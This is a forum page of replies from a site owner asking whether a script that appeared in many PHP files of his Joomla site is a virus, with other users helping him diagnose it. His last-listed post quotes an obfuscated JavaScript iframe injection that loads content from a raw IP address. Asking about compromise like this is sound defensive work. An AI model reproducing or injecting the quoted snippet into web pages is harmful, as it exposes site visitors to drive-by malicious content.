mostanser

Forum Replies Created

Viewing 4 replies - 1 through 4 (of 4 total)
  • Forum: Installing WordPress
    In reply to: unknown script
    mostanser

    (@mostanser)

    15 years, 3 months ago

    zoonini wrote:

    Mostanser – so you’re saying the moment this code appeared your site stopped working? Sounds like something malicious, then, though I can’t find any online sources to verify this.

    correct, just wondering if anyone else got this issue. I see the member “presasportiva” got the same issue (may be) in wordpress. Just wanted to monitor its activity.

    thanks

    Forum: Installing WordPress
    In reply to: unknown script
    mostanser

    (@mostanser)

    15 years, 3 months ago

    zoonini wrote:

    Have you tried searching your local files to see exactly which file this is coming from? Or is it only showing on the server?
    If you only have a copy of the site on the server, I’d download the entire site to a temporary folder on your hard drive and do a search there. Knowing which file this is in will help narrow down the issue.

    It was in a live site and was running properly. Suddenly today it happened. I had to delete all files unfortunately as a matter of urgent restoring. But it had been found in many PHP files in the entire Joomla site.

    thanks

    Forum: Installing WordPress
    In reply to: unknown script
    mostanser

    (@mostanser)

    15 years, 3 months ago

    anybody got any reason of this yet?

    Forum: Installing WordPress
    In reply to: unknown script
    mostanser

    (@mostanser)

    15 years, 3 months ago

    I have got the same script in one of the Joomla site that I was working in many PHP files. What is this? I found

    <script>
z1=document.createElement("if"+String.fromCharCode(114)+"ame");
sz=String.fromCharCode(60-11);
z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
z1.setAttribute("wid"+"th",sz);
z1.setAttribute("heig"+"ht",sz);
function zp(zb){document.body.appendChild(zb);}
void(zp(z1));
</script>

    Is this a virus?

Viewing 4 replies - 1 through 4 (of 4 total)